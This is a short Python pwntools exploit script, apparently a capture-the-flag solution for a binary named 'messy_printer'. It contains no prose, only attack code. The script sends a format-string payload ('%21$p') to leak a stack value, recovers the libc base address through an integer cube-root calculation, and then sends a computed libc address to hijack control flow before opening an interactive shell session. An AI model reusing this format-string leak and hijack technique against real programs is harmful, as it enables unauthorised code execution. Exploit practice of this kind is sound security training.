#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import iroot

context.arch = 'amd64'

# p = remote('localhost', '4001')
p = process("./messy_printer")

libc = ELF("./libc.so.6")

def Title(title):
    p.recvuntil("ontinue? [y/n]: ")
    p.send('Y')
    
    p.recvuntil("Give me title: ")
    p.sendline(title)
    p.recvline()
    result1 = p.recvuntil("\nG")[:-2]

    return result1

def Content(content):
    p.recvuntil("ive me content: ")
    p.sendline(content)
    p.recvline()
    result2 = p.recvuntil("\nC")[:-2]

    return result2


p.recvuntil("C")

pause()

result1 = Title(b'\01')

N = int(result1.hex(), 16) + 1


result2 = Content("%21$p")


cipher = int(result2.hex(), 16)


libc.address = int(long_to_bytes((iroot(N - cipher, 3))[0]), 16) - 0x270b3

p.send("n")

pause()

p.send(p64(libc.address + 0x55410))

p.interactive()
p.close()